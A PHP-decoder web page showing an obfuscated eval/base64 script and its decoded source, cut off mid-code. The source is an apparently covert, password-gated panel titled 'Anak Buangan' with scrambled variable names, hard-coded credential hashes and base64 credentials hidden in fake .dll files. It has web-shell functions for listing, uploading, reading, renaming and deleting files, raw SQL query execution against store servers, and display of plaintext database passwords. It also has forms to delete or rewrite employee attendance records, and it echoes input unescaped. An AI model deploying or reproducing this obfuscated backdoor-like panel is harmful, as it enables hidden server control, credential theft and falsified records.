Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCi8vY29weXJpZ2h0IGNhYi4gamVtYmVyIDIwMTcNCkBvYl9zdGF..

Decoded Output download

?>b'<?php
//copyright cab. jember 2017
@ob_start();
session_start();
$LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr = getenv(\'REMOTE_ADDR\');
$LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr1 = substr($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr, 0, 6);
ini_set(\'display_errors\', \'0\');
ini_set(\'display_startup_errors\', \'01\');
error_reporting(E_ALL);
$Rku3hBkrqLZTWSGepCTEAmfZHP2czQzJt = $_SERVER["REQUEST_URI"];
$dont = "<script>alert(\'Access Denied\')</script>";
set_time_limit(250);
function notConnect($q4fwJR3qtRcbqLX9eW8metXrHr867pQtH, $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr) {
    if (!$q4fwJR3qtRcbqLX9eW8metXrHr867pQtH) {
        echo "<script>alert(\'unable to connect $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr\')</script>";
    }
}
echo "<!DOCTYPE html><html lang=\'en\'><head><meta charset=\'utf-8\'><meta name=\'viewport\' content=\'width=device-width, initial-scale=1, shrink-to-fit=no\'><meta http-equiv=\'X-UA-Compatible\' content=\'IE=edge\'><title>Anak Buangan</title><link rel=\'shortcut icon\' href=\'fav.ico\'><link href=\'bootstrap.min.css\' rel=\'stylesheet\'><link href=\'DataTables.min.css\' rel=\'stylesheet\'><link href=\'select2.min.css\' rel=\'stylesheet\' /><link href=\'select2-bootstrap.min.css\' rel=\'stylesheet\' /> <script src=\'jquery.min.js\'></script> <script src=\'bootstrap.bundle.min.js\'></script> <script src=\'DataTables.min.js\'></script> <script src=\'select2.min.js\'></script> </head><body>";
if (empty($_SESSION[\'HLBpGVDMKw7pJaWfw2YYBTXD4qRLdCEG3\'])) {
    echo "
<div class=\'container\'><div class=\'row\'><div class=\'col-lg-12\'><p><form action=\'\' class=\'form-inline\' method=\'POST\'> <input name=\'username\' class=\'form-control mb-2 mr-sm-2\' type=\'text\' placeholder=\'Username\' /> <input name=\'password\' class=\'form-control mb-2 mr-sm-2\' type=\'password\' placeholder=\'Password\' /> <input type=\'hidden\' name=\'submit\' value=\'login\' /> <button type=\'submit\' class=\'btn btn-light mb-2\'>Login</button></form></p></div></div></div>";
    if ($_POST[\'submit\'] == \'login\') {
        $Da8v79f8uSGJupYRvfASTPceEt5ZWdMvN = hash("sha1", ($_POST[\'username\']));
        $MUj2X4AgBLDEm5zGqssPknQA99ayMXG4n = hash("sha1", ($_POST[\'password\']));
        $Y9en5wBcq5UF5jk9GTUj3eQWe42mpgrZ2 = "ff8e1f1878dab3ab9a9e926dc4476906d120dce9";
        $D9dhPHwhDaPyE9pPSHNbgScSkzxvkgLMb = "a44be5a8f205923fa32fcb140a646142546f57cb";
        $WYmnErzGfEu5PN6KWGswUHtaA76u7wV7V = "e6a04b67d24189b9b5eba643b5a83607ff1f441e";
        $zYT8bnjZeE2y5eK4msydFdvFmDJxMYuuN = "496d4147f72f88fd90c4696fafc3eb5ec4d87317";
        $H9WNN8fvZYNr8u9DykEyfqHfaJdAJHhZc = fopen("frminputkategori.dll", "rb");
        while (!feof($H9WNN8fvZYNr8u9DykEyfqHfaJdAJHhZc)) {
            $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp = fgets($H9WNN8fvZYNr8u9DykEyfqHfaJdAJHhZc);
            $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN = explode(\',\', $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp);
            $_SESSION[\'pass_toko\'] = base64_decode($UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[0]);
            $_SESSION[\'user_toko\'] = base64_decode($UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[1]);
            $_SESSION[\'server_otr\'] = base64_decode($UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[2]);
            $_SESSION[\'user_otr\'] = base64_decode($UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[3]);
            $_SESSION[\'pass_otr\'] = base64_decode($UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[4]);
            $_SESSION[\'db_otr\'] = base64_decode($UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[5]);
        }
        fclose($H9WNN8fvZYNr8u9DykEyfqHfaJdAJHhZc);
        if ($Da8v79f8uSGJupYRvfASTPceEt5ZWdMvN == $Y9en5wBcq5UF5jk9GTUj3eQWe42mpgrZ2 and $MUj2X4AgBLDEm5zGqssPknQA99ayMXG4n == $D9dhPHwhDaPyE9pPSHNbgScSkzxvkgLMb) {
            $_SESSION[\'HLBpGVDMKw7pJaWfw2YYBTXD4qRLdCEG3\'] = \'FxFE84UtKZ8EPhG7yFjEWZXbnTMnRzZgd\';
        } else if ($Da8v79f8uSGJupYRvfASTPceEt5ZWdMvN == $WYmnErzGfEu5PN6KWGswUHtaA76u7wV7V and $MUj2X4AgBLDEm5zGqssPknQA99ayMXG4n == $zYT8bnjZeE2y5eK4msydFdvFmDJxMYuuN) {
            $_SESSION[\'HLBpGVDMKw7pJaWfw2YYBTXD4qRLdCEG3\'] = \'Xc5j48KeWnSdKbgsCsYRan9u3xtQ2N3HB\';
        } else {
            echo $dont;
        }
        echo "<meta http-equiv=\'refresh\' content=\'0;
url=" . $Rku3hBkrqLZTWSGepCTEAmfZHP2czQzJt . "\'>";
    }
} else {
    $xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 = $_SESSION[\'HLBpGVDMKw7pJaWfw2YYBTXD4qRLdCEG3\'];
    $UwwTvdQFwPK3SHeQvetz2j4sHndRCDVvq = $_SESSION[\'pass_toko\'];
    $jft9MARQqn7pQmtpLH8dBaHyuKTeWLyNg = $_SESSION[\'user_toko\'];
    $server_otr = $_SESSION[\'server_otr\'];
    $user_otr = $_SESSION[\'user_otr\'];
    $pass_otr = $_SESSION[\'pass_otr\'];
    $db_otr = $_SESSION[\'db_otr\'];
    echo "<nav class=\'navbar sticky-top navbar-expand-lg navbar-light bg-light static-top\'><div class=\'container\'> <a class=\'navbar-brand\' href=\'" . $Rku3hBkrqLZTWSGepCTEAmfZHP2czQzJt . "\'>Assu</a><img class=\'loading\' height=\'30px\' width=\'30px\' src=\'loading1.svg\'/> <button class=\'navbar-toggler\' type=\'button\' data-toggle=\'collapse\' data-target=\'#navbarResponsive\' aria-controls=\'navbarResponsive\' aria-expanded=\'false\' aria-label=\'Toggle navigation\'> <span class=\'navbar-toggler-icon\'></span> </button><div class=\'collapse navbar-collapse\' id=\'navbarResponsive\'><ul class=\'navbar-nav ml-auto\'>";
    if ($xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 == \'FxFE84UtKZ8EPhG7yFjEWZXbnTMnRzZgd\') {
        echo "<li class=\'nav-item dropdown\'> <a class=\'nav-link dropdown-toggle\' href=\'#\' id=\'navbarDropdown\' role=\'button\' data-toggle=\'dropdown\' aria-haspopup=\'true\' aria-expanded=\'false\'> Config </a><div class=\'dropdown-menu\' aria-labelledby=\'navbarDropdown\'> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'config-db\') . "\'>Config DB</a> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'import-ip\') . "\'>Import IP</a></div></li><li class=\'nav-item dropdown\'><a class=\'nav-link dropdown-toggle\' href=\'#\' id=\'navbarDropdown\' role=\'button\' data-toggle=\'dropdown\' aria-haspopup=\'true\' aria-expanded=\'false\'> Files </a><div class=\'dropdown-menu\' aria-labelledby=\'navbarDropdown\'> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'6cEBNAf\') . "\'>List</a> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'upload-folder\') . "\'>Upload Folder</a> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'upload-file\') . "\'>Upload File</a> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'show-file\') . "\'>Show File</a> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'rename-file\') . "\'>Rename</a> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'delete-file\') . "\'>Delete</a></div></li><li class=\'nav-item dropdown\'> <a class=\'nav-link dropdown-toggle\' href=\'#\' id=\'navbarDropdown\' role=\'button\' data-toggle=\'dropdown\' aria-haspopup=\'true\' aria-expanded=\'false\'> Operational </a><div class=\'dropdown-menu\' aria-labelledby=\'navbarDropdown\'> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'otr\') . "\'>OTR</a><a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'push-otr\') . "\'>Push OTR</a>";
    }
    echo " <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'UJ5q8TR\') . "\'>Backup Table</a> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'restore-table\') . "\'>Restore Table</a> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'query-browser\') . "\'>Query Browser Pos</a> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'query-browser-sopp\') . "\'>Query Browser Soppagent</a> <a class=\'dropdown-item\' href=\'?p=" . hash(\'sha1\', \'logout\') . "\'>Logout</a></div></li></ul></div></div> </nav><div class=\'container\'><div class=\'row\'><div class=\'col-lg-12\'><p>";
    if ($_GET[\'p\'] == \'\') {
        /*
        LIST FILE
        */
    } else if ($_GET[\'p\'] == hash("sha1", "6cEBNAf")) {
        if ($xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 != \'FxFE84UtKZ8EPhG7yFjEWZXbnTMnRzZgd\') {
            echo $dont;
            return false;
        }
        echo "<form action=\'\' class=\'form-inline\' method=\'POST\'> <input type=\'text\' class=\'form-control mb-2 mr-sm-2\' name=\'path_list\' placeholder=\'Directori\'/> <input type=\'hidden\' name=\'submit\' value=\'list\'/> <button type=\'submit\' class=\'btn btn-light mb-2\'>List</button></form>";
        /*
        UPLOAD FOLDER
        */
    } else if ($_GET[\'p\'] == hash("sha1", "upload-folder")) {
        if ($xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 != \'FxFE84UtKZ8EPhG7yFjEWZXbnTMnRzZgd\') {
            echo $dont;
            return false;
        }
        echo "<form class=\'\' action=\'\' method=\'POST\' enctype=\'multipart/form-data\'> <input type=\'text\' class=\'form-control mb-2 mr-sm-2\' name=\'foldername\' placeholder=\'Folder Name\'/> <input type=\'file\' class=\'\' name=\'files[]\' multiple directory=\'\' webkitdirectory=\'\' moxdirectory=\'\' /> <input type=\'hidden\' name=\'submit\' value=\'upload-folder\'/> <button type=\'submit\' class=\'btn btn-sm btn-light\'>Upload Folder</button></form>";
        /*
        UPLOAD FILE
        */
    } else if ($_GET[\'p\'] == hash("sha1", "upload-file")) {
        if ($xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 != \'FxFE84UtKZ8EPhG7yFjEWZXbnTMnRzZgd\') {
            echo $dont;
            return false;
        }
        echo "<form class=\'form-inline\' action=\'\' method=\'POST\' enctype=\'multipart/form-data\'> <input type=\'file\' class=\'form-control mb-2 mr-sm-2\' name=\'file_upload\'/> <input type=\'text\' class=\'form-control mb-2 mr-sm-2\' name=\'file_dir\' placeholder=\'Dir\'/> <input type=\'hidden\' name=\'submit\' value=\'upload-file\'/> <button type=\'submit\' class=\'btn btn-sm btn-light\'>Upload File</button></form>";
        /*
        SHOW FILE
        
        */
    } else if ($_GET[\'p\'] == hash("sha1", "show-file")) {
        if ($xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 != \'FxFE84UtKZ8EPhG7yFjEWZXbnTMnRzZgd\') {
            echo $dont;
            return false;
        }
        echo "<form action=\'\' class=\'form-inline\' method=\'POST\'> <input type=\'text\' class=\'form-control mb-2 mr-sm-2\' name=\'file_name\' placeholder=\'File\'/> <input type=\'hidden\' name=\'submit\' value=\'show-file\'/> <button type=\'submit\' class=\'btn btn-light mb-2\'>Show</button></form>";
        /*
        RENAME FILE
        */
    } else if ($_GET[\'p\'] == hash("sha1", "rename-file")) {
        if ($xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 != \'FxFE84UtKZ8EPhG7yFjEWZXbnTMnRzZgd\') {
            echo $dont;
            return false;
        }
        echo "<form action=\'\' class=\'form-inline\' method=\'POST\'> <input type=\'text\' class=\'form-control mb-2 mr-sm-2\' name=\'file_lama\' placeholder=\'nama file lama\'/> <input type=\'text\' class=\'form-control mb-2 mr-sm-2\' name=\'file_baru\' placeholder=\'nama file baru\'/> <input type=\'hidden\' name=\'submit\' value=\'rename-file\'/> <button type=\'submit\' class=\'btn btn-light mb-2\'>Rename</button></form>";
        /*
        DELETE FILE
        */
    } else if ($_GET[\'p\'] == hash("sha1", "delete-file")) {
        if ($xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 != \'FxFE84UtKZ8EPhG7yFjEWZXbnTMnRzZgd\') {
            echo $dont;
            return false;
        }
        echo "<form action=\'\' class=\'form-inline\' method=\'POST\'> <input type=\'text\' class=\'form-control mb-2 mr-sm-2\' name=\'file_name\' placeholder=\'file name\'/> <input type=\'hidden\' name=\'submit\' value=\'delete-file\'/> <button type=\'submit\' class=\'btn btn-light mb-2\'>Delete</button></form>";
        /*
        PASS TOKO
        */
    } else if ($_GET[\'p\'] == hash("sha1", "config-db")) {
        if ($xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 == \'M7MqrrECeaDSEy6RkBX6a3m4bc624FvmT\') {
            echo $dont;
            return false;
        }
        echo "
 <form method=\'post\' action=\'\'><div class=\'form-row\'><div class=\'form-group col-md-6\'> <label>Pass Toko</label> <input type=\'text\' class=\'form-control\' value=\'" . $UwwTvdQFwPK3SHeQvetz2j4sHndRCDVvq . "\' name=\'pass-toko\'></div><div class=\'form-group col-md-6\'> <label>User Toko</label> <input type=\'text\' class=\'form-control\' value=\'" . $jft9MARQqn7pQmtpLH8dBaHyuKTeWLyNg . "\' name=\'user-toko\'></div><div class=\'form-group col-md-6\'> <label>Server OTR </label> <input type=\'text\' class=\'form-control\' value=\'" . base64_encode($server_otr) . "\' name=\'server-otr\'></div><div class=\'form-group col-md-6\'> <label>User OTR</label> <input type=\'text\' class=\'form-control\' value=\'" . base64_encode($user_otr) . "\' name=\'user-otr\'></div><div class=\'form-group col-md-6\'> <label>Pass OTR</label> <input type=\'text\' class=\'form-control\' value=\'" . base64_encode($pass_otr) . "\' name=\'pass-otr\'></div><div class=\'form-group col-md-6\'> <label>DB OTR</label> <input type=\'text\' class=\'form-control\' value=\'" . base64_encode($db_otr) . "\' name=\'db-otr\'></div><div class=\'form-group col-md-6\'> <label>Server AWH</label> <input type=\'text\' class=\'form-control\' value=\'" . base64_encode($server_awh) . "\' name=\'server-awh\'></div><div class=\'form-group col-md-6\'> <label>User AWH</label> <input type=\'text\' class=\'form-control\' value=\'" . base64_encode($user_awh) . "\' name=\'user-awh\'></div><div class=\'form-group col-md-6\'> <label>Pass AWH</label> <input type=\'text\' class=\'form-control\' value=\'" . base64_encode($pass_awh) . "\' name=\'pass-awh\'></div><div class=\'form-group col-md-6\'> <label>DB AWH</label> <input type=\'text\' class=\'form-control\' value=\'" . base64_encode($db_awh) . "\' name=\'db-awh\'></div></div> <input type=\'hidden\' name=\'submit\' value=\'update-config-db\'/> <button type=\'submit\' class=\'btn btn-light\'>Update</button></form>";
        if ($xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 == \'FxFE84UtKZ8EPhG7yFjEWZXbnTMnRzZgd\') {
            echo "<hr>" . $server_otr . "<br>" . $user_otr . "<br>" . $pass_otr . "<br>" . $db_otr . "<br>" . $server_awh . "<br>" . $user_awh . "<br>" . $pass_awh . "<br>" . $db_awh;
        }
        /*
        IMPORT IP
        */
    } else if ($_GET[\'p\'] == hash("sha1", "import-ip")) {
        $xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 = \'FxFE84UtKZ8EPhG7yFjEWZXbnTMnRzZgd\';
        if ($xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 != \'FxFE84UtKZ8EPhG7yFjEWZXbnTMnRzZgd\') {
            echo $dont;
            return false;
        }
        require_once ("config/conndb.php");
        $file = fopen("ctkrekapabsen.dll", "w");
        $query = mysql_query("SELECT kdtk,nama,ip_induk,ip_induk2 from toko where kdtk like \'F%\' or kdtk like \'T%\' or kdtk like \'R%\' or kdtk=\'EDP3\' order by kdtk asc");
        while ($data = mysql_fetch_array($query)) {
            fwrite($file, $data[\'kdtk\'] . "," . $data[\'nama\'] . "," . $data[\'ip_induk\'] . "," . $data[\'ip_induk2\'] . PHP_EOL);
        }
        fclose($file);
        $file2 = fopen("ctk_maintcctv.dll", "w");
        $query = mysql_query("SELECT username,nama_lengkap from users where dep=\'edp\'");
        while ($data = mysql_fetch_array($query)) {
            fwrite($file2, $data[\'username\'] . "," . $data[\'nama_lengkap\'] . PHP_EOL);
        }
        fclose($file2);
        /*
        Ontheroad
        */
    } else if ($_GET[\'p\'] == hash("sha1", "otr")) {
        echo "<form action=\'\' method=\'POST\'>
 <form method=\'post\' action=\'\'>";
        $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt = fopen("ctkrekapabsen.dll", "rb");
        $nik_txt = fopen("ctk_maintcctv.dll", "rb");
        echo "<div class=\'form-row\'><div class=\'col-md-12 mb-3\'>
 <select class=\'select-2 form-control mb-2 mr-sm-2\' name=\'kdtk\'>
 <option>KDKTK</option>";
        while (!feof($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt)) {
            $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp = fgets($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt);
            $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN = explode(\',\', $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp);
            echo "<option value=\'" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[0] . "\'>" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[0] . " - " . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[1] . "</option>";
        }
        fclose($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt);
        echo "</select></div></div><div class=\'form-row\'><div class=\'col-md-12 mb-3\'>
 <select class=\'select-2 form-control mb-2 mr-sm-2\' name=\'nik\'>
 <option>NIK</option>";
        while (!feof($nik_txt)) {
            $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp = fgets($nik_txt);
            $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN = explode(\',\', $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp);
            echo "<option value=\'" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[0] . "\'>" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[0] . " - " . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[1] . "</option>";
        }
        fclose($nik_txt);
        echo "</select></div></div><div class=\'form-inline\'>
 <input type=\'hidden\' name=\'submit\' value=\'otr\'/>
 <button type=\'submit\' class=\'btn btn-light mb-2\'>Login</button></div>
 </form>";
    } else if ($_GET[\'p\'] == hash("sha1", "push-otr")) {
        echo "
 <form method=\'post\' action=\'\' class=\'form-inline\'><div class=\'form-group mb-2\'> <label>Delete</label></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'date\' class=\'form-control\' name=\'tanggal_masuk\' title=\'Tanggal Masuk\'></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'number\' class=\'form-control\' name=\'nik\' placeholder=\'NIK\'></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'text\' class=\'form-control\' name=\'kdtk\' placeholder=\'KDTK\'></div> <input type=\'hidden\' name=\'submit\' value=\'delete-otr\'/> <button type=\'submit\' class=\'btn btn-primary mb-2\'>Delete</button></form>
 <hr><form class=\'form-inline\'><div class=\'form-group mb-2\'> <label>Masuk</label></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'text\' class=\'form-control\' name=\'msk\' title=\'Update\' value=\'" . date("Y-m-d h:i:s") . "\'></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'date\' class=\'form-control\' name=\'tglmsk\' title=\'Update\'></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'date\' class=\'form-control\' name=\'wmsk\' title=\'Where\'></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'text\' class=\'form-control\' title=\'Where\' name=\'nik\' placeholder=\'NIK\'></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'text\' class=\'form-control\' name=\'kdtk\' title=\'Where\' placeholder=\'KDTK\'></div> <input type=\'hidden\' name=\'submit\' value=\'masuk-otr\'/> <button type=\'submit\' class=\'btn btn-primary mb-2\'>Masuk</button></form>
 <hr><form class=\'form-inline\'><div class=\'form-group mb-2\'> <label>Pulang</label></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'date\' class=\'form-control\' name=\'tanggal_pulang_old\' title=\'Tanggal Pulang Old\'></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'date\' class=\'form-control\' name=\'tanggal_pulang_new\' title=\'Tanggal Pulang New\'></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'time\' class=\'form-control\' name=\'jam_pulang_new\' title=\'Jam Pulang New\'></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'number\' class=\'form-control\' name=\'nik\' placeholder=\'NIK\'></div><div class=\'form-group mx-sm-2 mb-2\'> <input type=\'text\' class=\'form-control\' name=\'kdtk\' placeholder=\'KDTK\'></div> <input type=\'hidden\' name=\'submit\' value=\'pulang-otr\'/> <button type=\'submit\' class=\'btn btn-primary mb-2\'>Pulang</button></form>
 ";
        /*
        IP-ADDRESS
        */
    } else if ($_GET[\'p\'] == hash("sha1", "ip-address")) {
        $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt = fopen("frmrekapip.dll", "rb");
        echo "<table id=\'ip-address\' class=\'table table-sm small table-striped table-bordered\' width=\'100%\'>
 <thead><th>Kode Toko</th><th>Nama Toko</th><th>IP Address</th><th>Device</th><th>Class</th></thead><tbody>";
        while (!feof($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt)) {
            $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp = fgets($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt);
            $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN = explode(\',\', $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp);
            echo "<tr><td>" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[0] . "</td><td>" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[1] . "</td><td>" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[2] . "</td><td>" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[3] . "</td><td>" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[4] . "</td></tr>";
        }
        echo "</tbody></table>";
        fclose($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt);
        /*
        BACKUP TABLE
        */
    } else if ($_GET[\'p\'] == hash("sha1", "UJ5q8TR")) {
        echo "
 <form method=\'post\' action=\'\'>";
        $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt = fopen("ctkrekapabsen.dll", "rb");
        echo "<div class=\'form-row\'><div class=\'col-md-12 mb-3\'>
 <textarea class=\'form-control\' placeholder=\'Table...\' name=\'list_table\'>";
        if (!empty($_POST[\'list_table\'])) {
            echo $_POST[\'list_table\'];
        } else echo "toko_kunjungan toko_checklist toko_unit passtoko spec_hardware checklist_setting checklist";
        echo "</textarea></div></div><div class=\'form-row\'><div class=\'col-md-12 mb-3\'>
 <select class=\'select-2 form-control mb-2 mr-sm-2\' name=\'ip\'>";
        while (!feof($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt)) {
            $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp = fgets($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt);
            $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN = explode(\',\', $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp);
            echo "<option value=\'" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[2] . "\'>" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[0] . " - " . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[1] . "</option>";
        }
        echo "</select></div></div><div class=\'form-inline\'>";
        fclose($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt);
        echo "
 <input type=\'hidden\' name=\'submit\' value=\'UJ5q8TR\'/>
 <button type=\'submit\' class=\'btn-query-toko btn btn-light mb-2\'>Backup Table</button></div> 
 <label>*) Durasi MAKSIMAL backup table adalah <span class=\'waktu_tunggu\'>0</span> / 250 detik(tergantung kecepatan koneksi toko). Harap ditunggu dan jangan diclose sampai loading selesai.</label>
 </form>";
        /*
        RESTORE TABLE
        */
    } else if ($_GET[\'p\'] == hash("sha1", "restore-table")) {
        echo "
 <form method=\'post\' action=\'\' enctype=\'multipart/form-data\'>
 <div class=\'form-row\'><div class=\'col-md-12 mb-3\'>";
        $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt = fopen("ctkrekapabsen.dll", "rb");
        echo "<select class=\'select-2 form-control mb-2 mr-sm-2\' name=\'ip\'>
 <option>Kode Toko</option>";
        while (!feof($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt)) {
            $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp = fgets($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt);
            $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN = explode(\',\', $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp);
            echo "<option value=\'" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[2] . "\'>" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[0] . " - " . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[1] . "</option>";
        }
        echo "</select></div></div><div class=\'form-row\'><div class=\'col-md-12 mb-3\'>";
        fclose($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt);
        echo "
 <input type=\'file\' class=\'form-control mb-2 mr-sm-2\' name=\'db\' accept=\'.sql\'>
 <input type=\'hidden\' name=\'submit\' value=\'restore-table\'/>
 <button type=\'submit\' class=\'btn-query-toko btn btn-light mb-2\'>Restore Table</button></div> 
 <label>*) Durasi MAKSIMAL restore table adalah <span class=\'waktu_tunggu\'>0</span> / 250 detik(tergantung kecepatan koneksi toko). Harap ditunggu dan jangan diclose sampai loading selesai.</label>
 </form>";
        /*
        INP
        */
    } else if ($_GET[\'p\'] == hash("sha1", "query-browser")) {
        echo "
 <form method=\'post\' action=\'\'>
 <div class=\'form-row\'>
 <div class=\'col-md-12 mb-3\'>
 <textarea class=\'form-control\' placeholder=\'Query...\' name=\'query\'>";
        if (!empty($_POST[\'query\'])) {
            echo stripslashes($_POST[\'query\']);
        }
        echo "</textarea></div></div><div class=\'form-row\'><div class=\'col-md-12 mb-3\'>
 <select class=\'select-2 form-control mb-2 mr-sm-2\' name=\'ip\'>
 <option value=\'\'>Kode Toko</option>";
        $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt = fopen("ctkrekapabsen.dll", "rb");
        while (!feof($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt)) {
            $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp = fgets($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt);
            $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN = explode(\',\', $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp);
            echo "<option value=\'" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[2] . "\'>" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[0] . " - " . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[1] . "</option>";
        }
        echo "</select></div></div><div class=\'form-inline\'>";
        fclose($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt);
        echo "
 <input type=\'text\' class=\'form-control mb-2 mr-sm-2\' name=\'ip1\' readonly value=\'";
        if (!empty($_POST[\'ip\'])) {
            echo $_POST[\'ip\'];
        } else if (!empty($_POST[\'ip1\'])) {
            echo $_POST[\'ip1\'];
        };
        echo "\'/>";
        echo "
 <input type=\'hidden\' name=\'submit\' value=\'execute\'/>
 <button type=\'submit\' class=\'btn-query-toko btn btn-light mb-2\'>Execute</button></div>
 <label>*) Durasi maksimal eksekusi query adalah <span class=\'waktu_tunggu\'>0</span> / 250 detik(tergantung kecepatan koneksi toko). Harap ditunggu dan jangan diclose sampai loading selesai.</label>
 </form>";
        /*
        QUERY BROWSER
        */
    } else if ($_GET[\'p\'] == hash("sha1", "query-browser-sopp")) {
        echo "
 <form method=\'post\' action=\'\'>
 <div class=\'form-row\'>
 <div class=\'col-md-12 mb-3\'>
 <textarea class=\'form-control\' placeholder=\'Query soppagent...\' name=\'query\'>";
        if (!empty($_POST[\'query\'])) {
            echo stripslashes($_POST[\'query\']);
        }
